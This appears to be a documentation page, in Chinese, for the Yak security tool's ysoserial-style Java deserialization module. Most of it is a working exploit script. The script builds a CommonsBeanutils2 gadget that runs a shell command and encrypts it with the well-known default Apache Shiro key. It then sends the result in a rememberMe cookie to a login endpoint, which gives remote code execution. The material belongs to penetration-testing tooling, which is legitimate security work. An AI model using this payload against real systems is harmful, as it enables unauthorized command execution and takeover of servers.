Java 反序列化利用链: yso(ysoserial)
Yak 通过非 Java 的方式实现了一整套 Java 反序列化协议。
可以在一定容错限度内劫持绝大部分 Java 反序列化流。
详情参考 java: java 反序列化协议的 Golang/Yak 实现
#
YsoSerial 的 Yak 替代品在实现了 Java 反序列化协议后,Java 相关漏洞不再需要原生 Java 或硬编码 HEX/Binary 流来实现。如下是一个测试 shiro payload 的简单案例
log.setLevel("info")gadgetObj,err = yso.GetGadget("CommonsBeanutils2",yso.useTemplate("RuntimeExec"),yso.evilClassName("YLGjbAeS"),yso.majorVersion(52),yso.useClassParam("cmd","whoami"))if err { log.error("%v",err) return}gadgetBytes,err = yso.ToBytes(gadgetObj,yso.twoBytesCharString(),yso.dirtyDataLength(0))if err { log.error("%v",err) return}
// 16进制展示payloadhexPayload = codec.EncodeToHex(gadgetBytes) (hexPayload)
// Shiro利用target = "127.0.0.1:8080"base64Key = "kPH+bIxk5D2deZiIxcaaaA==" // base64编码的keykey,_ = codec.DecodeBase64(base64Key) // 生成keypayload = codec.PKCS5Padding(gadgetBytes, 16) // 加密payloadencodePayload = codec.AESCBCEncrypt(key, payload, nil)[0]finalPayload = codec.EncodeBase64(append(key, encodePayload...))rsp,req,_ = poc.HTTP(`GET /login HTTP/1.1Host: {{params(target)}}Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cache-Control: no-cacheCookie: rememberMe={{params(payload)}}User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36`,poc.params({"payload":finalPayload,"target":target})) // 发送payloadstr.SplitHTTPHeadersAndBodyFromPacket(rsp)log.info("发送Payload成功")log.info("响应包: ",string(rsp))